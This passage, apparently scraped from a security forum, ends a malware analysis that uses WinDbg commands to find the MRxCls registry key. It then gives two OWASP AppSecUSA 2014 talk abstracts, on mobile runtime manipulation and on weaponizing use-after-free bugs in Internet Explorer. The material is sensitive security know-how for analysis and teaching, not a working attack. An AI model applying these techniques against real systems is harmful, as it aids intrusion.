then see it's in the list: lkd> .chain Extension DLL search Path: C:\Program Files\Debugging Tools for Windows (x86)\WINXP;C:\Program Files\Debugging Tools for Windows (x86)\winext;C:\Program Files\Debugging Tools for Windows (x86)\winext\arcade;C:\Program Files\Debugging Tools for Windows (x86)\pri;C:\Program Files\Debugging Tools for Windows (x86);C:\Program Files\Debugging Tools for Windows (x86)\winext\arcade;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem Extension DLL chain: ntsdexts: image 6.1.7650.0, API 1.0.0, built Mon Feb 01 15:08:08 2010 [path: C:\Program Files\Debugging Tools for Windows (x86)\WINXP\ntsdexts.dll] dbghelp: image 6.12.0002.633, API 6.1.6, built Mon Feb 01 15:08:26 2010 [path: C:\Program Files\Debugging Tools for Windows (x86)\dbghelp.dll] ext: image 6.12.0002.633, API 1.0.0, built Mon Feb 01 15:08:31 2010 [path: C:\Program Files\Debugging Tools for Windows (x86)\winext\ext.dll] exts: image 6.12.0002.633, API 1.0.0, built Mon Feb 01 15:08:24 2010 [path: C:\Program Files\Debugging Tools for Windows (x86)\WINXP\exts.dll] kext: image 6.12.0002.633, API 1.0.0, built Mon Feb 01 15:08:22 2010 [path: C:\Program Files\Debugging Tools for Windows (x86)\winext\kext.dll] kdexts: image 6.1.7650.0, API 1.0.0, built Mon Feb 01 15:08:19 2010 [path: C:\Program Files\Debugging Tools for Windows (x86)\WINXP\kdexts.dll] Let's now run !dreg again with our path to MRxCls: lkd> !dreg System\CurrentControlSet\Services\MRxCls Subkey: Enum There it is, and we can see its subkey is Enum.

I didn't go into the MRxCls configuration file decryption, network changes/attack methods, other methods of zero-day flaws, etc but even so you can see that this is a pretty sophisticated piece of malware. However, as we now see, its biggest downfall was its complete lack of protection. The only personal explanation I have for this is that the creator(s) were either rushed to get it done by 'x' timeframe, so they focused on main code more than obfuscation, or they just imagined it wouldn't ever escape its original intended environment, so they'd never have to worry about reverse engineering being an issue.

[h=1]Runtime Manipulation of Android and iOS Applications - OWASP AppSecUSA 2014[/h] Publicat pe 30 sept. 2014 Recorded at AppSecUSA 2014 in Denver AppSec USA 2014 - AppSec USA 2014 Thursday, September 18 • 2:00pm - 2:45pm Runtime Manipulation of Android and iOS Applications With over 1.6 million applications in the Apple AppStore and Google Play store, and around 7 billion mobile subscribers in the world, mobile application security has been shoved into the forefront of many organizations. Mobile application security encompasses many facets of security. Device security, application security, and network security all play an important role in the overall security posture of a mobile application. Part of being a pen tester of mobile applications is understanding how each of the security controls work and how they interact. One powerful way to test the security and controls of our applications is to utilize runtime analysis and manipulation. Many tools exist to manipulate how an application works, both iOS and Android. This hands-on skills course will help students learn how to improve their mobile security toolbox. The skills course will utilize tools such as cycript, snoop-it, jdb, etc for runtime manipulation and memory analysis. After the course, students will be able to get better results from their mobile application security testing.

[h=1]Use After Free Exploitation - OWASP AppSecUSA 2014[/h] Publicat pe 30 sept. 2014 Recorded at AppSecUSA 2014 in Denver AppSec USA 2014 - AppSec USA 2014 Thursday, September 18 • 10:30am - 11:15am Use After Free Exploitation Use After Free vulnerabilities are the cause of a large number of web browser and client-side compromises. Software bugs residing on the heap can be difficult to detect through standard debugging and QA. This presentation will first define the Use After Free vulnerability class, and then dive deep into detecting the bug in a debugger and weaponizing it into a working exploit against Internet Explorer. We will also cover the concept of memory leaks which can allow for a complete Address Space Layout Randomization (ASLR) bypass.
